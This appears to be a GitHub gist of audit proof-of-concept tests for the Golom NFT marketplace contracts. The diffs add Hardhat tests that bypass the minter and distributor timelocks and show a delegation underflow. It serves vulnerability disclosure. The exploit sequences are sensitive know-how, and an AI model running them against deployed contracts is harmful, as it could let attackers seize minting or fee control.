Created
August 1, 2022 13:55
-
-
Save zzzitron/6f950a268d179218cadef74d7acdeeb4 to your computer and use it in GitHub Desktop.
2022-07 Proof of concept for golom
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/test/GolomToken.specs.ts b/test/PocGolomToken.specs.ts | |
index 832c73f..faef12f 100644 | |
--- a/test/GolomToken.specs.ts | |
+++ b/test/PocGolomToken.specs.ts | |
@@ -77,5 +77,26 @@ describe('GolomToken.sol', () => { | |
expect(golomToken.executeSetMinter()).to.be.revertedWith('GolomToken: wait for timelock'); | |
}); | |
+ | |
+ it('should set the minter with timelock poc', async () => { | |
+ await golomToken.setMinter(await accounts[2].getAddress()); | |
+ await golomToken.executeSetMinter(); | |
+ expect(await golomToken.minter()).to.be.equals(await accounts[2].getAddress()); | |
+ | |
+ // 1. setMinter to zero address | |
+ await golomToken.setMinter("0x0000000000000000000000000000000000000000"); | |
+ | |
+ // 2. wait for timelock | |
+ const twoDays = 2 * 24 * 60 * 60; | |
+ await ethers.provider.send('evm_increaseTime', [twoDays]); | |
+ await ethers.provider.send('evm_mine', []); | |
+ // 3. executeSetMinter will set the mineter to zero address | |
+ await golomToken.executeSetMinter(); | |
+ | |
+ // 4. now one can setMinter any address without waiting for the timelock | |
+ await golomToken.setMinter(await accounts[3].getAddress()); | |
+ await golomToken.executeSetMinter(); | |
+ expect(await golomToken.minter()).to.be.equals(await accounts[3].getAddress()); | |
+ }); | |
}); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/test/GolomTrader.specs.ts b/test/PocGolomTrader.specs.ts | |
index c28ade8..8d5826f 100644 | |
--- a/test/GolomTrader.specs.ts | |
+++ b/test/PocGolomTrader.specs.ts | |
@@ -1,3 +1,4 @@ | |
+ | |
// for all order types test | |
// if cancel by order is working and only the creater can cancel nobody else can cancel | |
// if cancel by nonce is working and only the creater can cancel nobody else can cancel | |
@@ -679,5 +680,18 @@ describe('Trader.sol', function () { | |
it('should set governance', async () => { | |
// Do something with the accounts | |
}); | |
+ | |
+ it('can bypass timelock poc', async () => { | |
+ // 0. distributor is already set in the before each | |
+ expect(await golomTrader.distributor()).to.be.equals(rewardDistributor.address); | |
+ | |
+ // 1. reset distributor to zero without timelock | |
+ // condition: setDistributor was called only once (in the before each) | |
+ await golomTrader.connect(governance).executeSetDistributor(); | |
+ const newDistributor = await maker.getAddress(); | |
+ // 2. now owner can set distributor without timelock | |
+ await golomTrader.connect(governance).setDistributor(newDistributor); | |
+ expect(await golomTrader.distributor()).to.be.equals(newDistributor); | |
+ }) | |
}); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/test/VoteEscrowDelegation.specs.ts b/test/PocVoteEscrowDelegation.specs.ts | |
index e69de29..23f9c93 100644 | |
--- a/test/VoteEscrowDelegation.specs.ts | |
+++ b/test/PocVoteEscrowDelegation.specs.ts | |
@@ -0,0 +1,163 @@ | |
+import { ethers, waffle } from 'hardhat'; | |
+import { BigNumber, utils, Signer, constants } from 'ethers'; | |
+import chai from 'chai'; | |
+const { expect } = chai; | |
+ | |
+// import artifacts | |
+const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader'); | |
+const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor'); | |
+ | |
+const ERC721MockArtifacts = ethers.getContractFactory('ERC721Mock'); | |
+const ERC1155MockArtifacts = ethers.getContractFactory('ERC1155Mock'); | |
+const ERC20MockArtifacts = ethers.getContractFactory('ERC20Mock'); | |
+const WETHArtifacts = ethers.getContractFactory('WETH'); | |
+const GolomTokenArtifacts = ethers.getContractFactory('GolomToken'); | |
+ | |
+// import typings | |
+import { GolomToken as GolomTokenTypes } from '../typechain/GolomToken'; | |
+ | |
+import { GolomTrader as GolomTraderTypes } from '../typechain/GolomTrader'; | |
+import { RewardDistributor as RewardDistributorTypes } from '../typechain/RewardDistributor'; | |
+import { VoteEscrow as VoteEscrowTypes } from '../typechain/VoteEscrow'; | |
+import { WETH as WETHTypes } from '../typechain/WETH'; | |
+ | |
+import { ERC721Mock as ERC721MockTypes } from '../typechain/ERC721Mock'; | |
+import { ERC1155Mock as ERC1155MockTypes } from '../typechain/ERC1155Mock'; | |
+import { ERC20Mock as ERC20MockTypes } from '../typechain/ERC20Mock'; | |
+ | |
+ | |
+let testErc20: ERC20MockTypes; | |
+let testErc721: ERC721MockTypes; | |
+let testErc1155: ERC1155MockTypes; | |
+let weth: WETHTypes; | |
+let golomToken: GolomTokenTypes; | |
+ | |
+let golomTrader: GolomTraderTypes; | |
+let voteEscrow: VoteEscrowTypes; | |
+let rewardDistributor: RewardDistributorTypes; | |
+ | |
+let accounts: Signer[]; | |
+let governance: Signer; | |
+let maker: any; | |
+let taker: any; | |
+let exchange: any; | |
+let prepay: any; | |
+let postpay: any; | |
+let receiver: "0x0000000000000000000000000000000000000000"; | |
+let domain: any; | |
+ | |
+const types = { | |
+ payment: [ | |
+ { name: 'paymentAmt', type: 'uint256' }, | |
+ { name: 'paymentAddress', type: 'address' }, | |
+ ], | |
+ order: [ | |
+ { name: 'collection', type: 'address' }, | |
+ { name: 'tokenId', type: 'uint256' }, | |
+ { name: 'signer', type: 'address' }, | |
+ { name: 'orderType', type: 'uint256' }, | |
+ { name: 'totalAmt', type: 'uint256' }, | |
+ { name: 'exchange', type: 'payment' }, | |
+ { name: 'prePayment', type: 'payment' }, | |
+ { name: 'isERC721', type: 'bool' }, | |
+ { name: 'tokenAmt', type: 'uint256' }, | |
+ { name: 'refererrAmt', type: 'uint256' }, | |
+ { name: 'root', type: 'bytes32' }, | |
+ { name: 'reservedAddress', type: 'address' }, | |
+ { name: 'nonce', type: 'uint256' }, | |
+ { name: 'deadline', type: 'uint256' }, | |
+ ], | |
+}; | |
+ | |
+describe('VoteEscrowDelegation.sol', function () { | |
+ beforeEach(async function () { | |
+ accounts = await ethers.getSigners(); | |
+ maker = accounts[0]; | |
+ taker = accounts[1]; | |
+ exchange = accounts[2]; | |
+ prepay = accounts[3]; | |
+ postpay = accounts[4]; | |
+ governance = accounts[5]; | |
+ receiver = "0x0000000000000000000000000000000000000000"; | |
+ | |
+ testErc20 = (await (await ERC20MockArtifacts).deploy()) as ERC20MockTypes; | |
+ testErc721 = (await (await ERC721MockArtifacts).deploy()) as ERC721MockTypes; | |
+ testErc1155 = (await (await ERC1155MockArtifacts).deploy()) as ERC1155MockTypes; | |
+ weth = (await (await WETHArtifacts).deploy()) as WETHTypes; | |
+ golomToken = (await (await GolomTokenArtifacts).deploy(await accounts[0].getAddress())) as GolomTokenTypes; | |
+ // deploy trader contract | |
+ golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes; | |
+ rewardDistributor = (await ( | |
+ await RewardDistributorArtifacts | |
+ ).deploy( | |
+ weth.address, | |
+ golomTrader.address, | |
+ golomToken.address, | |
+ await governance.getAddress() | |
+ )) as RewardDistributorTypes; | |
+ | |
+ domain = { | |
+ name: 'GOLOM.IO', | |
+ version: '1', | |
+ chainId: 31337, | |
+ verifyingContract: golomTrader.address, | |
+ }; | |
+ | |
+ // set distributor | |
+ await golomTrader.connect(governance).setDistributor(rewardDistributor.address); | |
+ // await golomTrader.connect(governance).executeSetDistributor(); | |
+ | |
+ await testErc721.mint(await maker.getAddress()); | |
+ await testErc721.connect(maker).setApprovalForAll(golomTrader.address, true); | |
+ await testErc1155.connect(maker).setApprovalForAll(golomTrader.address, true); | |
+ | |
+ // deploy ve | |
+ const TokenUriHelper = await ethers.getContractFactory("TokenUriHelper"); | |
+ const tokenUriHelper = await TokenUriHelper.deploy(); | |
+ await tokenUriHelper.deployed(); | |
+ | |
+ const VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { | |
+ libraries: { | |
+ TokenUriHelper: tokenUriHelper.address, | |
+ }, | |
+ }); | |
+ | |
+ // VoteEscrow | |
+ voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes; | |
+ // For simplicity setting minter to governance | |
+ await golomToken.setMinter(await governance.getAddress()); | |
+ await golomToken.executeSetMinter(); | |
+ await golomToken.connect(governance).mint(await maker.getAddress(), 10000000); | |
+ await golomToken.connect(governance).mint(await taker.getAddress(), 100); | |
+ expect(await golomToken.balanceOf(await maker.getAddress())).to.be.equals('10000000'); | |
+ expect(await golomToken.balanceOf(await taker.getAddress())).to.be.equals('100'); | |
+ }); | |
+ | |
+ describe('#delegate', () => { | |
+ it('reverts poc', async () => { | |
+ // approve | |
+ await golomToken.approve(voteEscrow.address, 10); | |
+ await golomToken.connect(taker).approve(voteEscrow.address, 10); | |
+ const lockDuration = 7 * 24 * 3600; // 1 week | |
+ | |
+ // get vote escrow for maker: id 1 | |
+ expect(await voteEscrow.balanceOf(await maker.getAddress())).to.equal(0) | |
+ await voteEscrow.create_lock(10, lockDuration); | |
+ expect(await voteEscrow.ownerOf(1)).to.equal(await maker.getAddress()) | |
+ expect(await voteEscrow.balanceOf(await maker.getAddress())).to.equal(1) | |
+ | |
+ // get vote escrow for taker: id 2 | |
+ expect(await voteEscrow.balanceOf(await taker.getAddress())).to.equal(0) | |
+ await voteEscrow.connect(taker).create_lock(10, lockDuration); | |
+ expect(await voteEscrow.ownerOf(2)).to.equal(await taker.getAddress()) | |
+ expect(await voteEscrow.balanceOf(await taker.getAddress())).to.equal(1) | |
+ | |
+ // cannot delegate: it reverts | |
+ expect(await voteEscrow.getVotes(2)).to.equal(0) | |
+ // delegate 1 to 2 : it reverts with | |
+ // panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block) | |
+ // await voteEscrow.delegate(1,2) | |
+ }); | |
+ }) | |
+ | |
+}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment